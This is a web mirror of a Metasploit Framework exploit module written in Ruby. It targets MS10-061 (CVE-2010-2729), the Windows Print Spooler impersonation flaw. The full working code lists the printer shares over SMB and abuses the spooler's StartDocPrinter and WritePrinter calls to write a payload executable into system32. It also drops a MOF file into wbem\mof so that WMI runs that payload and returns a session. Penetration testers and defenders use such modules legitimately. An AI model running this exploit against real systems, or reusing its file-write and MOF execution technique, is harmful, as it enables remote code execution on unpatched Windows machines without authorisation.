CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/smb/ms10_061_spoolss.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
7
class MetasploitModule < Msf::Exploit::Remote
8
Rank = ExcellentRanking
9
10
include Msf::Exploit::Remote::DCERPC
11
include Msf::Exploit::Remote::SMB::Client
12
include Msf::Exploit::EXE
13
include Msf::Exploit::WbemExec
14
15
def initialize(info = {})
16
super(update_info(info,
17
'Name' => 'MS10-061 Microsoft Print Spooler Service Impersonation Vulnerability',
18
'Description' => %q{
19
This module exploits the RPC service impersonation vulnerability detailed in
20
Microsoft Bulletin MS10-061. By making a specific DCE RPC request to the
21
StartDocPrinter procedure, an attacker can impersonate the Printer Spooler service
22
to create a file. The working directory at the time is %SystemRoot%\\system32.
23
An attacker can specify any file name, including directory traversal or full paths.
24
By sending WritePrinter requests, an attacker can fully control the content of
25
the created file.
26
27
In order to gain code execution, this module writes to a directory used by Windows
28
Management Instrumentation (WMI) to deploy applications. This directory (Wbem\\Mof)
29
is periodically scanned and any new .mof files are processed automatically. This is
30
the same technique employed by the Stuxnet code found in the wild.
31
},
32
'Author' =>
33
[
34
'jduck', # re-discovery, printer RPC stubs, module
35
'hdm' # ATSVC RPC proxy method, etc ;)
36
],
37
'License' => MSF_LICENSE,
38
'Platform' => 'win',
39
'References' =>
40
[
41
[ 'OSVDB', '67988' ],
42
[ 'CVE', '2010-2729' ],
43
[ 'MSB', 'MS10-061' ]
44
],
45
'Privileged' => true,
46
'Payload' =>
47
{
48
'Space' => 1024,
49
'BadChars' => "",
50
'DisableNops' => true,
51
},
52
'Targets' =>
53
[
54
[ 'Windows Universal', { } ]
55
],
56
'DisclosureDate' => '2010-09-14',
57
'DefaultTarget' => 0))
58
59
register_options(
60
[
61
OptString.new('SMBPIPE', [ false, "The named pipe for the spooler service", "spoolss"]),
62
OptString.new('PNAME', [ false, "The printer share name to use on the target" ]),
63
])
64
65
deregister_options('SMB::ProtocolVersion')
66
end
67
68
69
def exploit
70
71
connect(versions: [1])
72
login_time = Time.now
73
smb_login()
74
75
print_status("Trying target #{target.name}...")
76
77
handle = dcerpc_handle('12345678-1234-abcd-EF00-0123456789ab', '1.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])
78
79
print_status("Binding to #{handle} ...")
80
dcerpc_bind(handle)
81
82
print_status("Bound to #{handle} ...")
83
84
# Try all of the printers :)
85
printers = []
86
if (pname = datastore['PNAME'])
87
printers << pname
88
else
89
res = self.simple.client.trans(
90
"\\PIPE\\LANMAN",
91
(
92
[0x00].pack('v') +
93
"WrLeh\x00" +
94
"B13BWz\x00" +
95
[0x01, 65406].pack("vv")
96
)
97
)
98
99
printers = []
100
101
lerror, lconv, lentries, lcount = res['Payload'].to_s[
102
res['Payload'].v['ParamOffset'],
103
res['Payload'].v['ParamCount']
104
].unpack("v4")
105
106
data = res['Payload'].to_s[
107
res['Payload'].v['DataOffset'],
108
res['Payload'].v['DataCount']
109
]
110
111
0.upto(lentries - 1) do |i|
112
sname,tmp = data[(i * 20) + 0, 14].split("\x00")
113
stype = data[(i * 20) + 14, 2].unpack('v')[0]
114
scoff = data[(i * 20) + 16, 2].unpack('v')[0]
115
if ( lconv != 0)
116
scoff -= lconv
117
end
118
scomm,tmp = data[scoff, data.length - scoff].split("\x00")
119
120
# we only want printers
121
next if stype != 1
122
123
printers << sname
124
end
125
end
126
127
# Generate a payload EXE to execute
128
exe = generate_payload_exe
129
130
printers.each { |pr|
131
132
pname = "\\\\#{rhost}\\#{pr}"
133
134
print_status("Attempting to exploit MS10-061 via #{pname} ...")
135
136
# Open the printer
137
status,ph = open_printer_ex(pname)
138
if status != 0
139
fail_with(Failure::Unknown, "Unable to open printer: #{Msf::WindowsError.description(status)}")
140
end
141
print_status("Printer handle: %s" % ph.unpack('H*'))
142
143
144
# NOTE: fname can be anything nice to write to (cwd is system32), even
145
# directory traversal and full paths are OK.
146
fname = rand_text_alphanumeric(14) + ".exe"
147
write_file_contents(ph, fname, exe)
148
149
# Generate a MOF file and write it so that the Windows Management Service will
150
# execute our binary ;)
151
mofname = rand_text_alphanumeric(14) + ".mof"
152
mof = generate_mof(mofname, fname)
153
write_file_contents(ph, "wbem\\mof\\#{mofname}", mof)
154
155
# ClosePrinter
156
status,ph = close_printer(ph)
157
if status != 0
158
fail_with(Failure::Unknown, "Failed to close printer: #{Msf::WindowsError.description(status)}")
159
end
160
161
break if session_created?
162
}
163
164
print_status("Everything should be set, waiting for a session...")
165
handler
166
167
cnt = 1
168
while session_created? == false and cnt < 25
169
::IO.select(nil, nil, nil, 0.25)
170
cnt += 1
171
end
172
173
disconnect
174
175
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode, Rex::ConnectionError
176
fail_with(Failure::Unknown, $!.message)
177
end
178
179
180
#
181
# Use the vuln to write a file :)
182
#
183
def write_file_contents(ph, fname, data)
184
185
doc = rand_text_alphanumeric(16+rand(16))
186
187
# StartDocPrinter
188
status,jobid = start_doc_printer(ph, doc, fname)
189
if status != 0 or jobid < 0
190
fail_with(Failure::Unknown, "Unable to start print job: #{Msf::WindowsError.description(status)}")
191
end
192
print_status("Job started: 0x%x" % jobid)
193
194
# WritePrinter
195
status,wrote = write_printer(ph, data)
196
if status != 0 or wrote != data.length
197
fail_with(Failure::Unknown, ('Failed to write %d bytes!' % data.length))
198
end
199
print_status("Wrote %d bytes to %%SystemRoot%%\\system32\\%s" % [data.length, fname])
200
201
# EndDocPrinter
202
status = end_doc_printer(ph)
203
if status != 0
204
fail_with(Failure::Unknown, "Failed to end print job: #{Msf::WindowsError.description(status)}")
205
end
206
end
207
208
209
#
210
# Call RpcOpenPrinterEx
211
#
212
def open_printer_ex(pname, machine = nil, user = nil)
213
=begin
214
DWORD RpcOpenPrinterEx(
215
[in, string, unique] STRING_HANDLE pPrinterName,
216
[out] PRINTER_HANDLE* pHandle,
217
[in, string, unique] wchar_t* pDatatype,
218
[in] DEVMODE_CONTAINER* pDevModeContainer,
219
[in] DWORD AccessRequired,
220
[in] SPLCLIENT_CONTAINER* pClientInfo
221
);
222
=end
223
224
# NOTE: For more information about this encoding, see the following
225
# sections of the Open Group's C706 DCE 1.1: RPC
226
#
227
# 14.3.8 Unions
228
# 14.3.10 Pointers
229
# 14.3.12.3 Algorithm for Deferral of Referents
230
#
231
machine ||= ''
232
machine = NDR.uwstring(machine)
233
user ||= ''
234
user = NDR.uwstring(user)
235
236
splclient_info =
237
NDR.long(0) + # DWORD dwSize;
238
machine[0,4] + # [string] wchar_t* pMachineName;
239
user[0,4] + # [string] wchar_t* pUserName;
240
NDR.long(7600) + # DWORD dwBuildNum
241
NDR.long(3) + # DWORD dwMajorVersion;
242
NDR.long(0) + # DWORD dwMinorVersion;
243
NDR.long(9) # unsigned short wProcessorArchitecture;
244
245
# Add the deferred members
246
splclient_info << machine[4, machine.length]
247
splclient_info << user[4, user.length]
248
249
splclient_info[0,4] = NDR.long(splclient_info.length)
250
251
splclient_info =
252
# union!
253
NDR.long(1) + # discriminant (inside copy)
254
NDR.long(rand(0xffffffff)) +
255
splclient_info
256
257
stubdata =
258
NDR.uwstring(pname) + # pPrinterName
259
NDR.long(0) +
260
# DEVMODE_CONTAINER (null)
261
NDR.long(0) +
262
NDR.long(0) +
263
# AccessRequired
264
NDR.long(0x02020000) +
265
# SPLCLIENT_CONTAINER
266
NDR.long(1) + # Level (must be 1)
267
# SPLCLIENT_INFO_1
268
splclient_info
269
270
#print_status('Sending OpenPrinterEx request...')
271
response = dcerpc.call(69, stubdata)
272
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
273
#print_status("\n" + Rex::Text.to_hex_dump(dcerpc.last_response.stub_data))
274
275
handle = dcerpc.last_response.stub_data[0,20]
276
status = dcerpc.last_response.stub_data[20,4].unpack('V').first
277
278
return [status, handle]
279
end
280
281
nil
282
end
283
284
285
#
286
# Call RpcStartDocPrinter
287
#
288
def start_doc_printer(handle, dname, fname, dtype = nil)
289
=begin
290
typedef struct _DOC_INFO_CONTAINER {
291
DWORD Level;
292
[switch_is(Level)] union {
293
[case(1)]
294
DOC_INFO_1* pDocInfo1;
295
} DocInfo;
296
} DOC_INFO_CONTAINER;
297
DWORD RpcStartDocPrinter(
298
[in] PRINTER_HANDLE hPrinter,
299
[in] DOC_INFO_CONTAINER* pDocInfoContainer,
300
[out] DWORD* pJobId
301
);
302
=end
303
dname = NDR.uwstring(dname)
304
if fname
305
fname = NDR.uwstring(fname)
306
else
307
fname = NDR.long(0)
308
end
309
if dtype
310
dtype = NDR.uwstring(dtype)
311
else
312
dtype = NDR.long(0)
313
end
314
315
doc_info =
316
dname[0, 4] +
317
fname[0, 4] +
318
dtype[0, 4]
319
320
# Add the deferred members
321
doc_info << dname[4, dname.length]
322
doc_info << fname[4, fname.length]
323
doc_info << dtype[4, dtype.length]
324
325
doc_info =
326
# Union!
327
NDR.long(1) +
328
NDR.long(rand(0xffffffff)) +
329
doc_info
330
331
stubdata =
332
handle +
333
NDR.long(1) +
334
doc_info
335
336
#print_status('Sending StartDocPrinter request...')
337
response = dcerpc.call(17, stubdata)
338
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
339
#print_status("\n" + Rex::Text.to_hex_dump(dcerpc.last_response.stub_data))
340
jobid, status = dcerpc.last_response.stub_data.unpack('VV')
341
return [status, jobid]
342
end
343
344
nil
345
end
346
347
348
#
349
# Call RpcWritePrinter
350
#
351
def write_printer(handle, data)
352
=begin
353
DWORD RpcWritePrinter(
354
[in] PRINTER_HANDLE hPrinter,
355
[in, size_is(cbBuf)] BYTE* pBuf,
356
[in] DWORD cbBuf,
357
[out] DWORD* pcWritten
358
);
359
=end
360
stubdata =
361
handle +
362
NDR.long(data.length) +
363
# Perhaps we need a better data type for BYTE* :)
364
data +
365
NDR.align(data) +
366
NDR.long(data.length)
367
368
#print_status('Sending WritePrinter request...')
369
response = dcerpc.call(19, stubdata)
370
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
371
#print_status("\n" + Rex::Text.to_hex_dump(dcerpc.last_response.stub_data))
372
wrote,status = dcerpc.last_response.stub_data.unpack('VV')
373
return [status, wrote]
374
end
375
376
nil
377
end
378
379
380
#
381
# Call RpcEndDocPrinter
382
#
383
def end_doc_printer(handle)
384
=begin
385
DWORD RpcEndDocPrinter(
386
[in] PRINTER_HANDLE* phPrinter
387
);
388
=end
389
390
#print_status('Sending EndDocPrinter request...')
391
response = dcerpc.call(23, handle)
392
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
393
#print_status("\n" + Rex::Text.to_hex_dump(dcerpc.last_response.stub_data))
394
status = dcerpc.last_response.stub_data[0,4].unpack('V').first
395
return status
396
end
397
398
nil
399
end
400
401
402
#
403
# Call RpcClosePrinter
404
#
405
def close_printer(handle)
406
=begin
407
DWORD RpcClosePrinter(
408
[in, out] PRINTER_HANDLE* phPrinter
409
);
410
=end
411
412
#print_status('Sending ClosePrinter request...')
413
response = dcerpc.call(29, handle)
414
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
415
#print_status("\n" + Rex::Text.to_hex_dump(dcerpc.last_response.stub_data))
416
handle = dcerpc.last_response.stub_data[0,20]
417
status = dcerpc.last_response.stub_data[20,4].unpack('V').first
418
return [status,handle]
419
end
420
421
nil
422
end
423
424
425
def seconds_since_midnight(time)
426
# .tv_sec always uses .utc
427
(time.tv_sec % 86400)
428
429
# This method uses the localtime
430
#(time.hour * 3600) + (time.min * 60) + (time.sec)
431
end
432
433
# We have to wait a bit longer since the WMI service is a bit slow..
434
def wfs_delay
435
10
436
end
437
end
438
439